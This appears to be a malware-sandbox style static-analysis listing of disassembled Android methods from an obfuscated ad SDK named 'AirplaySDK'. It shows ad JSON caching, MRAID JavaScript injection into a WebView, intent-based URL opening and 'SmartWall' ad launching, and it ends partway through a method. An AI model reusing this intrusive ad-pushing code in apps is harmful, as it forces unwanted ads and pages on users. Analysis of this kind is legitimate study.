  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • java.lang.Exception.printStackTrace
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
Strings
  • AirplaySDK
  • LandingPage Json:
  • status
  • message
  • invalid
  • Success
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v4, "AirplaySDK"
4new-instance v5, Ljava/lang/StringBuilder;
6invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
8const-string v6, "LandingPage Json: "
10invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: LandingPage Json:
11move-result-object v5
13invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v5
16invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v5
19invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20if-nez p1, :cond_1b
21goto_1a: return-void
22try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
23if-eqz v4, :cond_6b
24new-instance v1, Lorg/json/JSONObject;
26invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
28const-string v4, "status"
30invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
31move-result v4
32if-eqz v4, :cond_59
33const/4 v3, 0x0
34goto_2d:
35const-string v4, "message"
37invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
38move-result v4
39if-eqz v4, :cond_60
41const-string v2, "invalid"
42goto_37: const/16 v4, 0xc8
43if-ne v3, v4, :cond_67
45const-string v4, "Success"
47invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
48move-result v4
49if-eqz v4, :cond_67
51iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
53invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
54move-result-object v4
56sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
58invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z
60sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
62invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
63try_end_53: goto/16 :goto_1a
64catch_54: move-exception v0
66invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
67goto/16 :goto_1a
68try_start_59:
69const-string v4, "status"
71invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
72move-result v3
73goto/16 :goto_2d
74cond_60:
75const-string v4, "message"
77invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
78move-result-object v2
79goto/16 :goto_37
80cond_67:
81invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
82goto/16 :goto_1a
83cond_6b:
84iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
86invoke-virtual {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V
87try_end_70: goto/16 :goto_1a
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • java.lang.Exception.printStackTrace
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
Strings
  • AirplaySDK
  • Overlay Json:
  • status
  • message
  • invalid
  • Success
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v4, "AirplaySDK"
4new-instance v5, Ljava/lang/StringBuilder;
6invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
8const-string v6, "Overlay Json: "
10invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Overlay Json:
11move-result-object v5
13invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v5
16invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v5
19invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20if-nez p1, :cond_1b
21goto_1a: return-void
22try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
23if-eqz v4, :cond_6b
24new-instance v1, Lorg/json/JSONObject;
26invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
28const-string v4, "status"
30invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
31move-result v4
32if-eqz v4, :cond_59
33const/4 v3, 0x0
34goto_2d:
35const-string v4, "message"
37invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
38move-result v4
39if-eqz v4, :cond_60
41const-string v2, "invalid"
42goto_37: const/16 v4, 0xc8
43if-ne v3, v4, :cond_67
45const-string v4, "Success"
47invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
48move-result v4
49if-eqz v4, :cond_67
51iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
53invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
54move-result-object v4
56sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
58invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z
60sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
62invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
63try_end_53: goto/16 :goto_1a
64catch_54: move-exception v0
66invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
67goto/16 :goto_1a
68try_start_59:
69const-string v4, "status"
71invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
72move-result v3
73goto/16 :goto_2d
74cond_60:
75const-string v4, "message"
77invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
78move-result-object v2
79goto/16 :goto_37
80cond_67:
81invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
82goto/16 :goto_1a
83cond_6b:
84iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
86invoke-static {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$200(Lcom/vxjxu/jkhfn1870/AirPlay;Ljava/lang/String;)V
87try_end_70: goto/16 :goto_1a
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • com.vxjxu.jkhfn1870.MraidView.access$200
  • com.vxjxu.jkhfn1870.MraidView.access$402
  • org.json.JSONObject.isNull
  • com.vxjxu.jkhfn1870.MraidView.access$300
  • com.vxjxu.jkhfn1870.MraidView.access$502
  • org.json.JSONObject.isNull
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getBoolean
  • org.json.JSONException.printStackTrace
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
Strings
  • width
  • height
  • useCustomClose
  • setExpandProperties
  • An error occured while parsing expand properties json;
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v2, Lorg/json/JSONObject;
4invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
6iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
8const-string v3, "width"
10invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: width
11move-result v3
12if-eqz v3, :cond_37
14iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
16invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$200(Lcom/vxjxu/jkhfn1870/MraidView;)I
17move-result v3
18goto_15:
19invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$402(Lcom/vxjxu/jkhfn1870/MraidView;I)I
21iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
23const-string v3, "height"
25invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: height
26move-result v3
27if-eqz v3, :cond_3e
29iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
31invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$300(Lcom/vxjxu/jkhfn1870/MraidView;)I
32move-result v3
33goto_28:
34invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$502(Lcom/vxjxu/jkhfn1870/MraidView;I)I
36const-string v3, "useCustomClose"
38invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: useCustomClose
39move-result v3
40if-eqz v3, :cond_45
41const/4 v3, 0x0
42goto_34: iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z
43goto_36: return-void
44cond_37:
45const-string v3, "width"
47invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: width
48move-result v3
49goto/16 :goto_15
50cond_3e:
51const-string v3, "height"
53invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: height
54move-result v3
55goto/16 :goto_28
56cond_45:
57const-string v3, "useCustomClose"
59invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: useCustomClose
60try_end_4a: move-result v3
61goto/16 :goto_34
62catch_4c: move-exception v1
64invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V
65goto/16 :goto_36
66catch_51: move-exception v0
68iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
70const-string v4, "setExpandProperties"
72const-string v5, "An error occured while parsing expand properties json;"
74invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setExpandProperties
    • p1: An error occured while parsing expand properties json;
75goto/16 :goto_36
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.Exception.printStackTrace
Strings
  • width
  • height
  • mraid.setScreenSize(
  • );
  • setScreenSize
  • Error occured while setting screen size.
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v1, Lorg/json/JSONObject;
3invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
5const-string v2, "width"
6iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I
8invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: width
10const-string v2, "height"
11iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->heightDp:I
13invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: height
14new-instance v2, Ljava/lang/StringBuilder;
16invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
18const-string v3, "mraid.setScreenSize("
20invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setScreenSize(
21move-result-object v2
23invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
24move-result-object v2
26const-string v3, ");"
28invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
29move-result-object v2
31invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v2
34invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
35goto_2f: return-void
36catch_30: move-exception v0
38const-string v2, "setScreenSize"
40const-string v3, "Error occured while setting screen size."
42invoke-virtual {p0, v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setScreenSize
    • p1: Error occured while setting screen size.
44invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
45goto/16 :goto_2f
Cross References
APIs
  • org.json.JSONObject.getString
  • com.vxjxu.jkhfn1870.AdView.resizeBanner
  • com.vxjxu.jkhfn1870.AdView.getContext
  • android.os.Handler.post
  • android.util.Log.i
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • org.json.JSONException.getMessage
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.e
  • java.lang.Exception.printStackTrace
Strings
  • banner_type
  • AirplayMraid
  • Refresh time changed.
  • JSONExection occured while parsing Banner ad json:
Position Instruction Meta Information
0.param p1, "jsonObject" # Lorg/json/JSONObject;
1.prologue
2try_start_0:
3const-string v2, "banner_type"
5invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: banner_type
6move-result-object v0
8invoke-direct {p0, v0}, Lcom/vxjxu/jkhfn1870/AdView;->resizeBanner(Ljava/lang/String;)V
9new-instance v2, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
11invoke-direct {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;-><init>()V
12iput-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
14iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
16invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
17move-result-object v3
19iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String;
21invoke-virtual {v2, v3, p1, v4}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isParseBannerAd(Landroid/content/Context;Lorg/json/JSONObject;Ljava/lang/String;)Z
22move-result v2
23if-eqz v2, :cond_3f
25iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler;
26new-instance v3, Lcom/vxjxu/jkhfn1870/AdView$7;
28invoke-direct {v3, p0}, Lcom/vxjxu/jkhfn1870/AdView$7;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V
30invoke-virtual {v2, v3}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
32iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
34invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getRefreshTime()I
35move-result v2
36if-lez v2, :cond_3f
38const-string v2, "AirplayMraid"
40const-string v3, "Refresh time changed."
42invoke-static {v2, v3}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Refresh time changed.
44iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAd:Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;
46invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getRefreshTime()I
47move-result v2
48iput v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I
49cond_3f: return-void
50catch_40: move-exception v1
52const-string v2, "AirplayMraid"
53new-instance v3, Ljava/lang/StringBuilder;
55invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
57const-string v4, "JSONExection occured while parsing Banner ad json: "
59invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: JSONExection occured while parsing Banner ad json:
60move-result-object v3
62invoke-virtual {v1}, Lorg/json/JSONException;->getMessage()Ljava/lang/String;
63move-result-object v4
65invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
66move-result-object v3
68invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
69move-result-object v3
71invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
72goto/16 :goto_3f
73catch_5e: move-exception v1
75invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
76goto/16 :goto_3f
APIs
  • android.webkit.WebViewClient.onReceivedError
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • com.vxjxu.jkhfn1870.BrowserActivity.startActivity
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Strings
  • AirplayMraid
  • Error code:
  • ,description:
  • android.intent.action.VIEW
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "errorCode" # I
2.param p3, "description" # Ljava/lang/String;
3.param p4, "failingUrl" # Ljava/lang/String;
4.prologue
6invoke-super {p0, p1, p2, p3, p4}, Landroid/webkit/WebViewClient;->onReceivedError(Landroid/webkit/WebView;ILjava/lang/String;Ljava/lang/String;)V
8const-string v1, "AirplayMraid"
9new-instance v2, Ljava/lang/StringBuilder;
11invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
13const-string v3, "Error code: "
15invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error code:
16move-result-object v2
18invoke-virtual {v2, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
19move-result-object v2
21const-string v3, " ,description: "
23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,description:
24move-result-object v2
26invoke-virtual {v2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
27move-result-object v2
29invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v2
32invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
33try_start_25: new-instance v0, Landroid/content/Intent;
35const-string v1, "android.intent.action.VIEW"
37invoke-static {p4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
38move-result-object v2
40invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
42iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
44iget-object v1, v1, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
46invoke-virtual {v1, v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->startActivity(Landroid/content/Intent;)V
48iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
50iget-object v1, v1, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
52invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
53try_end_3e: return-void
54catch_3f: move-exception v1
55goto/16 :goto_3e
APIs
  • android.util.Log.i
  • android.util.Log.e
  • java.lang.System.currentTimeMillis
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.SmartWallActivity.isShowing
  • android.util.Log.i
Strings
  • AirplaySDK
  • Initialising SmartWall.....
  • Required VideoAdActivity not found in Manifest. Please add
  • Error occurred in startSmartWall method:
  • SmartWall Ad called within 10 secs. Ignoring request.
  • Another ad is showing on screen.
  • AirPlay is disabled Please enable to recive ads.
Position Instruction Meta Information
0.prologue
1try_start_0:
2const-string v4, "AirplaySDK"
4const-string v5, "Initialising SmartWall....."
6invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Initialising SmartWall.....
7sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
8if-nez v4, :cond_11
10invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z
11move-result v4
12if-nez v4, :cond_12
13cond_11: return-void
14cond_12:
15sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
16const-class v5, Lcom/vxjxu/jkhfn1870/VideoAdActivity;
18invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z
19move-result v1
20if-nez v1, :cond_39
22const-string v2, "Required VideoAdActivity not found in Manifest. Please add"
24const-string v4, "AirplaySDK"
26invoke-static {v4, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Required VideoAdActivity not found in Manifest. Please add
28invoke-static {v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Required VideoAdActivity not found in Manifest. Please add
29new-instance v4, Lcom/vxjxu/jkhfn1870/SendIntegrationError;
31sget-object v5, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
32const/16 v6, 0x66
34invoke-direct {v4, v5, v6}, Lcom/vxjxu/jkhfn1870/SendIntegrationError;-><init>(Landroid/content/Context;I)V
35try_end_2f: goto/16 :goto_11
36catch_30: move-exception v3
38const-string v4, "AirplaySDK"
40const-string v5, "Error occurred in startSmartWall method: "
42invoke-static {v4, v5, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred in startSmartWall method:
43goto/16 :goto_11
44cond_39:
45sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
46if-eqz v4, :cond_89
48sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
50invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->isSDKEnabled(Landroid/content/Context;)Z
51move-result v4
52if-eqz v4, :cond_89
54sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
56invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->getNextAdCallTime(Landroid/content/Context;)J
57move-result-wide v4
59invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
60move-result-wide v6
61cmp-long v4, v4, v6
62if-lez v4, :cond_60
64const-string v4, "AirplaySDK"
66const-string v5, "SmartWall Ad called within 10 secs. Ignoring request."
68invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: SmartWall Ad called within 10 secs. Ignoring request.
70const-string v4, "SmartWall Ad called within 10 secs. Ignoring request."
72invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: SmartWall Ad called within 10 secs. Ignoring request.
73goto/16 :goto_11
74cond_60:
75invoke-static {}, Lcom/vxjxu/jkhfn1870/SmartWallActivity;->isShowing()Z
76move-result v4
77if-eqz v4, :cond_73
79const-string v4, "AirplaySDK"
81const-string v5, "Another ad is showing on screen."
83invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Another ad is showing on screen.
85const-string v4, "Another ad is showing on screen."
87invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Another ad is showing on screen.
88goto/16 :goto_11
89cond_73:
90sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
92invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setNextAdCallTime(Landroid/content/Context;)Z
93new-instance v0, Lcom/vxjxu/jkhfn1870/AirPlay$2;
95invoke-direct {v0, p0}, Lcom/vxjxu/jkhfn1870/AirPlay$2;-><init>(Lcom/vxjxu/jkhfn1870/AirPlay;)V
97sget-object v4, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
99invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->checkInternetConnection(Landroid/content/Context;)Z
100move-result v4
101if-eqz v4, :cond_11
103invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->launchNewHttpTask()V
104goto/16 :goto_11
105cond_89:
106const-string v4, "AirplaySDK"
108const-string v5, "AirPlay is disabled Please enable to recive ads."
110invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: AirPlay is disabled Please enable to recive ads.
112const-string v4, "AirPlay is disabled Please enable to recive ads."
114invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendAdError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: AirPlay is disabled Please enable to recive ads.
115try_end_95: goto/16 :goto_11
APIs
  • com.vxjxu.jkhfn1870.ImageBanner.access$000
  • com.vxjxu.jkhfn1870.ImageBanner.access$100
  • com.vxjxu.jkhfn1870.ImageBanner.access$000
  • java.lang.String.equals
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.setFlags
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • com.vxjxu.jkhfn1870.ImageBanner.access$102
  • android.webkit.WebView.loadUrl
Strings
  • android.intent.action.VIEW
Position Instruction Meta Information
0.param p1, "view" # Landroid/webkit/WebView;
1.param p2, "url" # Ljava/lang/String;
2.prologue
3const/4 v3, 0x1
5iget-object v1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$1;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
